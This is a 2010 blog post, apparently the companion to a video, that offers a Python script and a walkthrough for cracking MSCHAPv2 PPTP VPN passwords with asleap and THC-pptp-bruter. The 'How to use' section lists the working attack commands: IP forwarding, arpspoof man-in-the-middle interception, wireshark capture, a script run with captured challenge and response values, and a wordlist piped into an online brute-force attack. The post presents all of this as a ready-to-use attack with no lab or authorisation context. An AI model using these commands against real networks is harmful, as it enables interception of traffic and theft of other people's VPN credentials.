Monday, June 7, 2010

[Script] [Video] (v0.1.1) Cracking VPN (asleap & THC-pptp-bruter)

Watch on-line:
Download Video:
Script ( :

What is this?
A python script, to automatically generate the arguments for Joshua Wright's 'asleap' program.

This video demostrates an offline (asleap) and online (THC-pptp-bruter) attack on MSCHAP v2 software VPN.

How does this work?
From wireshark (and a Man In The Middle attack), you can get "CHAP Challenge" and "CHAP Response". We can break theses values down:
CHAP Challenge = Auth Challenge (16 bytes)
CHAP Response = Peer Challenge (16 bytes) and Peer Response (24 bytes)

After finding "Auth Challenge and Peer Challenge" we can add these to the username and hash (sha1) the result. This will generate the "Challenge".

Once we have the challenge, we can feed this into the asleap, along with CHAP Challenge.

This script does all the work for you (and more), it just needs the values from wireshark for it to work. As well as having the option for different styles of attack, you can either uses a dictionary/wordlist or use 'Genkeys' to generate a look up file for asleap (which is recommended). Also by using this, you can automatically run asleap with your arguments.

What do I need?
> asleap
> Python
> The script -
> Wireshark
> THC-pptp-bruter

Name: asleap
Version: 2.2
Home Page:
Download Link:

Name: THC-pptp-bruter
Version: 0.1.4
Home Page:
Download Link:

Version: 0.1.1
Home Page:
Download Link:

How to use
1.) chmod 755
2.) python

echo 1 > /proc/sys/net/ipv4/ip_forward

arpspoof -i eth1 -t

arpspoof -i eth1 -t

wireshark -i eth1 -k

python -u g0tmi1k -c 3fb0e397540e8aa3df5eb08b0053092c -r df7661696051401f7192726630558ac200000000000000003c4b7c76ae82dd3050006c53d0bc6012db000acba0c5fec600 -x -v

cd /pentest/passwords/wordlists.lst
cat darkc0de.lst | thc-pptp-bruter -u g0tmi1k -n 99 -l 999

Song: Two Fingers - Keman Rhythm
Video length: 03:03
Capture length: 5:48

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